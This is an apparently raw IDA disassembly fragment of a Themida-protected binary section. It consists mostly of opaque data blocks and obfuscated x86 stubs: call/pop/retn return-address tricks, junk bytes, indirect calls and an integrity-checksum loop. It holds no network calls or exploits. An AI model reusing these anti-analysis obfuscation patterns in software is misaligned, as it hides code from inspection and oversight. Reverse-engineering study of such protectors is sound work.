		dd 24448104h, 1504h, 0C3504000h, 858BAB58h, 6111425h, 0C48689h
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h
		dd 53430000h, 85A515C3h, 0BF2462D8h, 31D25EF4h,	285D958Bh
		dd 6A0611h, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h
		dd 50400000h, 784779C3h, 8357D780h, 816604C2h, 890F2FDFh
		dd 6A2050h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
		dd 55450000h, 0B50687C3h, 0D062858Dh, 6A0614h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 0F9FD40C3h, 0B88689h, 0DABB0000h, 6A6F6EDCh,	0D858900h
		dd 0FF061123h, 14BD76B5h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 0D94D5B04h
		dd 0FF9AE2A9h, 112B6595h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 9ADCB35Fh
		dd 4B98ECBBh, 80F78166h, 25BD8B63h, 9606111Ch, 0DE9h, 94F39000h
		dd 4D2DC2C6h, 0F55CCE6Bh, 66506F24h, 966B0FBFh,	0D09810BBh
		dd 76B5FF0Eh, 6A0614BDh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 14042444h, 43000000h, 0E8DAC353h,	0Eh, 8E97B60Dh
		dd 9789F0F8h, 7E837EEBh, 0B70F77EBh, 95FF5BD8h,	6110E29h
		dd 0DE9h, 5F5C5800h, 6A5B5B4Ah,	3F11C92h, 0BD838A6Ah, 6112761h
		dd 5E840F00h, 89000000h, 1108898Dh, 13E95006h, 0DD000000h
		dd 9FAFDE55h, 0B0AC8C1Ch, 0E01C5352h, 1B24A1B4h, 3489BBC4h
		dd 55006A24h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1704h
		dd 0C3554500h, 6D41A2F7h, 5B58B60h, 0E9061102h,	10h, 9FEF4FB1h
		dd 46CF145Ch, 0D3F0A2D4h, 8B3AB9CBh, 76B5FF61h,	0E90614BDh
		dd 0Ch,	0DD9E997h, 0A970BA46h, 0F63721DBh, 12F195FFh, 9F50611h
		dd 1100F995h, 76B5FF06h, 0F0614BDh, 681h, 0EDBD8B00h, 0FF061126h
		dd 1105B995h, 0F8BF0F06h, 13DBD83h, 0F020611h, 6784h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1404h, 0C3524200h
		dd 1858B67h, 6A061131h,	3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 16042444h, 47000000h, 8A24C357h, 0BE989h
		dd 451C0000h, 85DE0BC0h, 0F729B743h, 9E924h, 0F25F0000h
		dd 0B239C21Ah, 0C63F6BDCh, 9D8B0000h, 6113149h,	4D585C7h
		dd 611h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h,	44810424h
		dd 1A0424h, 53430000h, 0A1CC26C3h, 10AB984Ch, 0EE8h, 0F598E600h
		dd 1A17C968h, 0BFE8F2F5h, 0BB5EC5C0h, 62A76105h, 0F44CE95Fh
		dd 6AFFFFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h
		dd 53430000h, 0D0F9B6C3h, 34F330F5h, 4D85893Bh,	0BB06112Dh
		dd 7765472Dh, 8166C18Bh, 8DD984DFh, 11279585h, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1504h, 0C3524200h
		dd 9D8B3F07h, 6112235h,	0FA8B6690h, 0CE950h, 18410000h
		dd 0AF71F254h, 31A09748h, 6A90EC85h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 40A9C351h
		dd 0F60006Ah, 28Eh, 505F5700h, 58D38B66h, 6A006A61h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
		dd 9F09C356h, 66FB2236h, 8D1836BBh, 16351F85h, 11E806h
		dd 71270000h, 72C3EBCAh, 10AA99C7h, 118BD202h, 0FF8E689h
		dd 38Bh, 0FA8B6600h, 5C0835Bh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ch, 0D5C35545h,	6B47B232h, 0F93CCB8h
		dd 2C67ADBFh, 13E99052h, 11000000h, 84A68266h, 0CBECDC4Dh
		dd 7DF52700h, 25FBEA75h, 6650A5F9h, 0E890F88Bh,	6, 2EDB20C3h
		dd 0D7819611h, 48D9EBFh, 6A006A5Fh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 5FB5C353h
		dd 0B589D2EDh, 6110FC1h, 3840Fh, 0B70F0000h, 6A006AD9h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 16042444h
		dd 40000000h, 0A7D3C350h, 0C98D315Fh, 0FF061115h, 11075D95h
		dd 29BD0106h, 8D06111Bh, 14A4208Dh, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 3076C568h
		dd 0CC0BBE0Ah, 8F0F3F14h, 6, 4159D23h, 0D1FF0611h, 83FE8B66h
		dd 111B71BDh, 850F0106h, 31h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ah, 86C35040h, 6547DCEEh, 26A2BD6h
		dd 0F9905090h, 2B6595FFh, 0B70F0611h, 0C93E9F9h, 0E80000h
		dd 5D000000h, 3529ED81h, 0B5010616h, 6110B8Dh, 0FE9h, 23171800h
		dd 320497BCh, 9DCFB18Bh, 46D67603h, 8968858Dh, 6A0614h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h
		dd 0B21461C3h, 0EFFB6429h, 6672DC8Bh, 90786EBFh, 50FB8B66h
		dd 14817BBBh, 6A9013h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1A0424h, 57470000h, 5484BFC3h, 0F7D37CEh, 35FF64h, 8B000000h
		dd 1134619Dh, 25896406h, 0
; ---------------------------------------------------------------------------
		mov	ebx, [ebp+61126F1h]
		or	[ebp+6110B9Dh],	ecx
		inc	dword ptr [ebp+61107ADh]
		push	0
		push	eax
		call	sub_59D19D
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59D19D	proc near		; CODE XREF: Themida_:0059D195p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 14h
		inc	eax
		push	eax
		retn
sub_59D19D	endp

; ---------------------------------------------------------------------------
		lds	eax, [ebx]
		mov	ebp, 6110775h
		mov	bx, 0B9C5h
		push	0FFFFFFFFh
		mov	[ebp+6111D29h],	edx
		push	dword ptr [ebp+61132D9h]
		jmp	loc_59D1D0
; ---------------------------------------------------------------------------
		db 83h
		dd 0BAE34B8h
; ---------------------------------------------------------------------------


loc_59D1D0:				; CODE XREF: Themida_:0059D1C6j
		call	dword ptr [ebp+611150Dh]
		jmp	loc_59D2DC
; ---------------------------------------------------------------------------
		db 31h
		dd 1132A185h, 6600B006h, 6683F1BBh, 70E6DA8Bh, 6671E4F9h
		dd 613CFE8Bh, 0E2830Fh,	0E9560000h, 0Bh, 3FBFADC2h, 0B49C66C3h
		dd 5BB6A48Dh, 89C8B60Fh, 11348D85h, 6BA06h, 0D7800000h
		dd 0C1C18B3Dh, 66F804E8h, 8589E2F7h, 61114C9h, 8589C82Bh
		dd 6111305h, 13E9D18Bh,	0EA000000h, 0FCAFDF6h, 0B43DDDD6h
		dd 95E3C92Ch, 0D659F2ECh, 89E99537h, 0BF000000h, 1F5486DEh
		dd 4C4C858Bh, 0A2B7505Fh, 0E907C083h, 8, 0FB8F8E04h, 46BAE428h
		dd 6600C083h, 0D03BF88Bh, 25830Fh, 0BB660000h, 55E9DDCBh
		dd 0F000000h, 1684h, 11E900h, 0D7900000h, 8065A1h, 9AA63082h
		dd 7AE0224Dh, 8BB2E6F3h, 0FFFFFF8Dh, 0D19531FFh, 83061127h
		dd 840F01E1h, 24h, 0FFA583F5h, 0FEFFFFFFh, 5800Fh, 81660000h
		dd 89E93DE7h, 5F4C4C95h, 419D8950h, 0E9061103h,	0
; ---------------------------------------------------------------------------


loc_59D2DC:				; CODE XREF: Themida_:0059D1D6j
		lea	esi, [ebp+6159E7Fh]
		push	0
		push	eax
		call	sub_59D2ED
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59D2ED	proc near		; CODE XREF: Themida_:0059D2E5p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ah
		inc	eax
		push	eax
		retn
sub_59D2ED	endp

; ---------------------------------------------------------------------------
		db 0EBh, 0B9h, 1Ah
		dd 6A794347h, 8C0FF560h, 2, 6A615A57h, 12E800h,	22980000h
		dd 0B1ED0C7Dh, 85CE3219h, 0FD8CFBF3h, 918B5298h, 2890Fh
		dd 0A4B30000h, 0C595FF5Bh, 6A061105h, 3E85100h,	20000000h
		dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 73BAC351h
		dd 0F7CB9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1D04h, 0C3534300h, 85ED38A4h, 2371BE50h, 850F0E36h
		dd 4, 5B5B5757h, 6AFCE183h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 14042444h, 46000000h, 0FA5C356h, 183h, 820FF900h
		dd 0Ch,	6890Fh,	8D290000h, 6112211h, 55006AFCh,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1B04h,	0C3554500h, 0E1FB36F6h
		dd 0AE28350Ah, 6860Fh, 9D890000h, 6110DF9h, 10E8C02Bh
		dd 1B000000h, 30B9B18Dh, 0C8FC75F7h, 2B2E55EDh,	606E8808h
		dd 8C59D8Bh, 0BF0F0611h, 0BA5B61D3h, 0
; ---------------------------------------------------------------------------
		push	0
		push	eax
		call	sub_59D423
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59D423	proc near		; CODE XREF: Themida_:0059D41Bp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 18h
		inc	eax
		push	eax
		retn
sub_59D423	endp

; ---------------------------------------------------------------------------
		db 0D2h
; ---------------------------------------------------------------------------
		pop	ecx
		mul	byte ptr [edx+22h]
		push	ebx
		xor	[ebp+6111359h],	esi
		pop	edi
		mov	di, 87AFh


loc_59D444:				; CODE XREF: Themida_:0059D44Ej
		lodsd
		xor	eax, edx
		shr	eax, 1
		add	edx, eax
		sub	ecx, 4
		jnz	short loc_59D444
		push	0
		push	edi
		call	sub_59D45B
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59D45B	proc near		; CODE XREF: Themida_:0059D453p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Dh
		inc	edi
		push	edi
		retn
sub_59D45B	endp

; ---------------------------------------------------------------------------
		db 41h
		dd 0D366D0B4h, 0E53CF2E1h, 0DE82Eh, 0C3B80000h,	368A6B29h
		dd 0D3E0D1E7h, 2B61FE7Bh, 1115AD9Dh, 6A5F06h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 901180C3h
		dd 372ABF32h, 0DF90EB9h, 88h, 31F19D89h, 958B0611h, 611285Dh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 78C35141h
		dd 9BF55D09h, 0D18D8BC5h, 6A06112Dh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 19042444h, 40000000h, 2DDEC350h
		dd 0AFBDBC51h, 0EBCF8166h, 0C28B5013h, 0C103188Bh, 0C18B188Bh
		dd 0C203E8D1h, 6A58188Bh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1B042444h, 41000000h, 3E1EC351h, 0C6FE86E0h
		dd 0B589B304h, 6111EBDh, 6850Fh, 0DB810000h, 725BB093h
		dd 2381BD83h, 0F000611h, 4384h,	50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1904h,	0C3504000h, 4845D4AFh
		dd 0B70FBF0Dh, 68A0FDEh, 89000000h, 112B69B5h, 0B806h
		dd 8D8D0000h, 6114E3Eh,	32659D8Bh, 0E1FF0611h, 2709BD83h
		dd 0F000611h, 3FC84h, 9BD8300h,	1061127h, 40A840Fh, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
		dd 2E9A41C3h, 36CBAA62h, 89DE8CC6h, 1117B1B5h, 9BD8306h
		dd 3061127h, 39C860Fh, 6A0000h,	3E851h,	59200000h, 4C8959C3h
		dd 44810424h, 1A0424h, 51410000h, 62880CC3h, 2DFF0374h
		dd 6C93D781h, 6A600E79h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 14042444h, 46000000h, 664CC356h, 6AD98Ch
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
		dd 0F85706C3h, 4E1805Bh, 840FC90Ah, 0C3h, 0FAF4BB66h, 1BF5858Bh
		dd 0B5BB0611h, 3375C1ADh, 11030585h, 66575006h,	5F5FFE8Bh
		dd 6FF7BF50h, 4894D58h,	52006A24h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1C04h, 0C3524200h, 0F5E9CBA3h, 0AF89788Fh
		dd 0ED8D3150h, 8906110Ah, 110E2D9Dh, 0E8006A06h, 13h, 896D37BEh
		dd 0F9C52D0Ah, 0B182B305h, 5334CBA0h, 5FD912BEh, 0B9A4D568h
		dd 81D98A6Ah, 0A72A2434h, 0B5896AA6h, 6112331h,	2AC195FFh
		dd 6A0611h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h
		dd 53430000h, 0B50190C3h, 6110FCDh, 1F4D9D23h, 85890611h
		dd 614BD76h, 1ECE9h, 0D59D8B00h, 8B061115h, 14BD6E85h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1504h
		dd 0C3514100h, 0D78123D9h, 2933850Fh, 1800C7h, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
		dd 8E8E55C3h, 8B6650B1h, 0B58B5BFEh, 614BD72h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 0DEC35141h, 86993B2Ch
		dd 31C18589h, 858B0611h, 61114E9h, 9E9h, 1892EE00h, 2297FACFh
		dd 6895512h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 19h,	0DCC35646h, 0F30A0FCEh,	0F5858BF6h, 8B06111Bh
		dd 1103EDBDh, 4468906h,	13499D8Bh, 8B500611h, 243489FAh
		dd 0CC1BD8Bh, 0B5FF0611h, 614BD6Eh, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 1Bh, 0D5C35141h,	402EA8A3h, 8BB9BE48h
		dd 110F81BDh, 0D75D6806h, 8B663968h, 243481D8h,	3977D4A2h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 1DC35343h
		dd 0B3A5D3EAh, 294AD622h, 1127659Dh, 76858D06h,	6A0614BDh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 0B03BC351h, 1D918529h, 60900611h,	0EC86D2BFh
		dd 0F98B6661h, 52505061h, 8B665250h, 50310FD8h,	5A310F52h
		dd 0F585A58h, 0EE831h, 0D9D0000h, 27579442h, 953C0222h
		dd 5185D46Fh, 0BE9h, 4577D700h,	77DD4009h, 3D8671ABh, 90585A5Fh
		dd 0BE9h, 5546FE00h, 0DD127AC9h, 537C27C1h, 2AC195FFh
		dd 6A0611h, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
		dd 50400000h, 0DC0ABEC3h, 58443C43h, 0BB6661D8h, 85C7AF2Dh
		dd 6112709h, 3,	0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 18h,	73C35545h, 0A2824AB4h, 0BD76BD83h, 0F000614h, 4584h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1B04h
		dd 0C3574700h, 786CCD7Dh, 4D88FDFCh, 0DE85653h,	6C000000h
		dd 0D0695EE5h, 7F5B2EC5h, 0A4E8C164h, 0E95F5F5Bh, 21h
		dd 3295BD8Bh, 30500611h, 4400110Ch, 0E8C10111h,	11443010h
		dd 114C0002h, 0E9835803h, 0EBE77504h, 4305036h,	11640011h
		dd 10E8C101h, 2114430h,	3116400h, 4E98358h, 1BEBE775h
		dd 10E8C150h, 3116428h,	2114430h, 11642858h, 11043001h
		dd 7504E983h, 8B00EBE7h, 53006AC0h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1B04h, 0C3534300h, 7B3FE764h, 87878F4Ah
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 69C35141h
		dd 83F1B385h, 112709BDh, 850F0306h, 2FCh, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 1Ch, 75C35242h, 0D1BBF57Dh
		dd 26FA9C6Ch, 95BD8BF5h, 83061108h, 14BD76BDh, 840F0006h
		dd 2C4h, 341DBD89h, 9D890611h, 6111599h, 0BD76B5FFh, 0BF660614h
		dd 95FF5B95h, 6113291h,	6AB58BF9h, 6A0614BDh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
		dd 0F699C356h, 6C7ECAA2h, 1E11BD8Bh, 6C70611h, 10001h
		dd 0FF1E380h, 6650DBBFh, 3489D88Bh, 4BDB8124h, 0FF0395EFh
		dd 14BD76B5h, 0B0A6BB06h, 95FF1B0Fh, 61100E9h, 68A0F60h
		dd 0F000000h, 85h, 45BD8B00h, 61061106h, 0BD6AB58Bh, 8B600614h
		dd 11039D85h, 2870F06h,	0B2000000h, 858B6187h, 6111425h
		dd 868919B7h, 0C4h, 0E856006Ah,	3, 5EC35E20h, 4247489h
		dd 4244481h, 18h, 11C35646h, 61B8C65Ah,	285D958Bh, 66600611h
		dd 0E1FFDA81h, 3859D09h, 83610611h, 6A04C2h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 160424h, 51410000h, 2CCA88C3h
		dd 8C6EBF66h, 22AD9D8Bh, 50890611h, 53006A20h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h, 7EFBF5BDh
		dd 66E23313h, 8DCCBEBFh, 14D06285h, 0B8868906h,	0F9000000h
		dd 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h
		dd 51410000h, 0FE5D88C3h, 0FEB70FD3h, 0BD76B5FFh, 6A0614h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 75EB84C3h, 0BD8B7588h, 6112171h, 26018509h, 95FF0611h
		dd 6112B65h, 8B6050FCh,	0D262BACAh, 896122CDh, 0BD8B2434h
		dd 611313Dh, 0BD76B5FFh, 0BD8B0614h, 6110775h, 0E2995FFh
		dd 6A0611h, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h
		dd 50400000h, 0F5BA0DC3h, 859D8B92h, 83061107h,	112761BDh
		dd 840F0006h, 1Fh, 0BDBD8B57h, 5B061105h
		dd 8E850h, 2C030000h, 2086EAEEh, 8B66E504h, 34895BFAh
		dd 0FFDE8B24h, 14BD76B5h, 959D8B06h, 8B061106h,	110871BDh
		dd 0F195FF06h, 0FF061112h, 14BD76B5h, 11BD8B06h, 8B06110Fh
		dd 1117C1BDh, 0B995FF06h, 9061105h, 110851B5h, 28A2BB06h
		dd 0BD834EAAh, 611013Dh, 32840F02h, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h
		dd 35FDC355h, 3101858Bh, 0EF810611h, 286DE20Bh,	8B0000C6h
		dd 1107DD9Dh, 0D585C706h, 61104h, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
		dd 5D92C357h, 3149B501h, 29600611h, 1106CDBDh, 61CA8A06h
		dd 0FFF47FE9h, 46C780FFh, 21959D01h, 0C18B0611h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 14h, 0E2C35040h, 59516060h
		dd 2359B533h, 0F610611h, 58Dh, 0CE816600h, 8B6110B3h, 111CF5BDh
		dd 95858D06h, 6A061127h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 16042444h, 43000000h, 8F7BC353h, 6E9902Eh
		dd 1B000000h, 7FFFC583h, 52505038h, 0FF98B66h, 0BBF6631h
		dd 90585AF1h, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 19h,	5FC35343h, 0ADE5154Dh, 0FE918h,	5DA90000h, 83995E55h
		dd 0D275D543h, 0DEBA0C54h, 0D958966h, 6A06111Ch, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1C04h, 0C3504000h
		dd 735C8CACh, 118F0452h, 6AFC05h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ch, 0A5C35747h,	95900A9Ah, 0B729771Bh
		dd 5E9h, 83FCB600h, 858DFDF4h, 6164439h, 5C083F5h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 15h, 0F3C35040h, 850F71h
		dd 9000000h, 11270D8Dh,	58B35006h, 31240489h, 111B859Dh
		dd 6AD98B06h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1504h, 0C3564600h, 6AB6B8h, 0EB9BD2Bh, 95FF0611h, 611075Dh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0F4C35242h
		dd 0DB810B08h, 13C755E7h, 0A4208D8Dh, 9D090614h, 6111399h
		dd 0BF9F35BFh, 6AD1FF4Ah, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1D042444h, 46000000h, 31DAC356h, 0F3B093BFh
		dd 4D50CAB4h, 31498529h, 0BD830611h, 6111B71h, 0D4850F01h
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 19042444h, 42000000h, 0BF96C352h, 844D1CAEh,	13059589h
		dd 26A0611h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 15h,	0F0C35646h, 11E894h, 89F20000h,	7F066101h, 41E3D539h
		dd 5774965Ch, 0FCA49F87h, 0E960905Bh, 0Ah, 6BEF5BFEh, 0BE9585A0h
		dd 7E9187Ch, 0A3000000h, 0DD6E473Fh, 5061A9C5h,	178DADBBh
		dd 6A9037h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h
		dd 56460000h, 0C0AAA9C3h, 0FF52B746h, 112B6595h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1C04h, 0C3554500h
		dd 0B2ACE6C5h, 66F06F71h, 259D89F3h, 0E9061121h, 0D97h
		dd 0E8h, 0ED815D00h, 6164443h, 1D059D89h, 6A0611h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
		dd 0AC6E74C3h, 0D381667Ah, 858DA585h, 6148968h,	91DBD01h
		dd 0BF900611h, 5C722F5Fh, 12E950h, 2B4F0000h, 84504BDBh
		dd 630C4BC7h, 34E13D78h, 0B734361h, 56006A90h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1704h,	0C3564600h, 98C6702h, 89F98B66h
		dd 11185DB5h, 35FF6406h, 0
; ---------------------------------------------------------------------------
		mov	[ebp+61130A9h],	edx
		mov	large fs:0, esp
		mov	edi, [ebp+6112291h]
		inc	dword ptr [ebp+61107ADh]
		mov	edi, [ebp+6113021h]
		push	0FFFFFFFFh
		mov	ebx, 1448CD8Bh
		push	dword ptr [ebp+6113199h]
		push	0
		push	ecx
		call	sub_59E0CB
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59E0CB	proc near		; CODE XREF: Themida_:0059E0C3p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 15h
		inc	ecx
		push	ecx
		retn
sub_59E0CB	endp

; ---------------------------------------------------------------------------
		pop	es
		lahf
		call	dword ptr [ebp+611150Dh]
		jmp	loc_59E244
; ---------------------------------------------------------------------------
		dd 0B0DFB70Fh, 0E669B300h, 11E870h, 0ACD60000h,	0D1A18BC2h
		dd 0E6F0EF1Ah, 6A7D421h, 29C25AD5h, 11245D9Dh, 71E45F06h
		dd 0F92BBB66h, 4D19509h, 613C0611h, 122830Fh, 8E90000h
		dd 0EA000000h, 1CF5E469h, 0F164FE2h, 8B66C8B6h,	6BAFEh
		dd 0F510000h, 686h, 19D8900h, 5B061103h, 9D89C18Bh, 6112361h
		dd 13E9h, 0F0D15700h, 97408328h, 0B7215B68h, 0D86204C7h
		dd 9FE5CF89h, 6004E8C1h, 18C0Fh, 8BFC0000h, 110E51B5h
		dd 7EBF6106h, 66642300h, 0BD8BE2F7h, 61103A9h, 0D18BC82Bh
		dd 0E9DABF0Fh, 11h, 44F90221h, 8A748BC7h, 130B4379h, 0C7E66E0Eh
		dd 9AE94Dh, 850F0000h, 9, 3890Fh, 0BF0F0000h, 4D9D29DEh
		dd 8B06112Ah, 47554C85h, 5E849h, 7BB80000h, 89AAEC2Dh
		dd 1104B99Dh, 0C0835B06h, 0F9BD8B07h, 83061131h, 870F00C0h
		dd 5, 0ACD38166h, 0FD03B19h, 0D83h, 0D133BB00h,	45E949A9h
		dd 0F000000h, 8D8BDFBFh, 0FFFFFFFFh, 5CD9589h, 0E1830611h
		dd 2D840F01h, 0B000000h, 11290D9Dh, 6800F06h, 31000000h
		dd 110831B5h, 0FFA58306h, 0FEFFFFFFh, 15B59D89h, 95890611h
		dd 4947554Ch, 0E9F9FD8Ah, 0
; ---------------------------------------------------------------------------


loc_59E244:				; CODE XREF: Themida_:0059E0E3j
		lea	esi, [ebp+615ADFBh]
		add	[ebp+61127D9h],	ebx
		push	0
		mov	bx, dx
		call	dword ptr [ebp+61105C5h]
		jbe	loc_59E26F
		pusha
		or	[ebp+61105A1h],	edx
		sbb	eax, 4DB5A558h
		popa


loc_59E26F:				; CODE XREF: Themida_:0059E25Bj
		mov	ebx, [ebp+6110365h]
		mov	ecx, 1194h
		mov	edi, [ebp+61132DDh]
		and	ecx, 0FFFFFFFCh
		push	0
		push	eax
		call	sub_59E28E
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59E28E	proc near		; CODE XREF: Themida_:0059E286p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 15h
		inc	eax
		push	eax
		retn
sub_59E28E	endp

; ---------------------------------------------------------------------------
		jns	short loc_59E2FE
		mov	[ebp+6110741h],	eax
		cld
		push	0
		push	ebp
		call	sub_59E2B2
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59E2B2	proc near		; CODE XREF: Themida_:0059E2AAp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Dh
		inc	ebp
		push	ebp
		retn
sub_59E2B2	endp

; ---------------------------------------------------------------------------
		dw 0EDFAh
		dd 9D4BC67Fh, 9AE40827h, 0E6DBD8Bh, 0C02B0611h,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0D9C35242h, 0C59E90CDh
		dd 6AD22BECh, 3E85000h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59E2FE:				; CODE XREF: Themida_:0059E29Ej
		add	[eax], ah
		pop	eax
		retn
; ---------------------------------------------------------------------------
		pop	eax
		mov	[esp+4], eax
		add	dword ptr [esp+4], 1Ch
		inc	eax
		push	eax
		retn
; ---------------------------------------------------------------------------
		dw 2448h
		db 90h
		db 0AFh, 31h, 7Ah
		dd 0ADC073AAh, 0E8D1C233h, 0E983D003h, 6AF47504h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 0B4BEC350h, 158895D7h, 9589F232h, 61125A1h, 0BE8h, 97F0A600h
		dd 0ACA6DA18h, 0E3C36A72h, 27C59D8Bh, 8B5B0611h, 1128DDBDh
		dd 880D06h, 66500000h, 8B5BDF8Bh, 11285D95h, 998D8906h
		dd 6606110Eh, 8B31FDBBh, 112DD18Dh, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 8A321DCFh
		dd 8554FF7h, 8B50E882h,	3188BC2h, 8B188BC1h, 3E8D1C1h
		dd 58188BC2h, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 1Dh,	62C35545h, 0E5CA335Bh, 870922ECh, 1820F51h, 0F5000000h
		dd 890Fh, 56FC0000h, 32A99589h,	835B0611h, 112381BDh, 840F0006h
		dd 4Fh,	0B8D98B66h, 0
; ---------------------------------------------------------------------------
		mov	[ebp+611303Dh],	esi
		lea	ecx, [ebp+6114E3Eh]
		push	0
		push	ebx
		call	sub_59E42B
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59E42B	proc near		; CODE XREF: Themida_:0059E423p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ah
		inc	ebx
		push	ebx
		retn
sub_59E42B	endp

; ---------------------------------------------------------------------------
		db 0C1h
		dd 0ECD13B24h, 890FF46Eh, 3, 1F9B70Fh, 110F15BDh, 0FE1FF06h
